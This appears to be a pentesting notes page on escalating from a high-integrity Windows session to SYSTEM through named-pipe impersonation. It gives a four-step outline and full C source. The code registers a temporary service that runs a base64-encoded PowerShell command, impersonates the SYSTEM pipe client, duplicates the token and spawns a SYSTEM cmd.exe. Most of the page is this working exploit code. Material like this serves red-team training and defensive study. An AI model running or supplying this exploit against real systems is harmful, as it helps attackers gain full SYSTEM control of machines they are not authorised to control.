From High Integrity to SYSTEM with Name Pipes
Code flow:
- 1.Create a new Pipe
- 2.Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code:
$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose(); - 3.The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish
- 4.Finally, uses the token obtained from the service to spawn a new cmd.exe
If you don't have enough privileges the exploit may get stucked and never return.
#include <windows.h>
#include <time.h>
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512
int ServiceGo(void) {
SC_HANDLE scManager;
SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);
if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}
// launch it
StartService(scService, 0, NULL);
// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}
int main() {
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;
HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}
// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);
// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}
// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}
//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}
// revert back to original security context
RevertToSelf();
}
return 0;
}
Last modified 2mo ago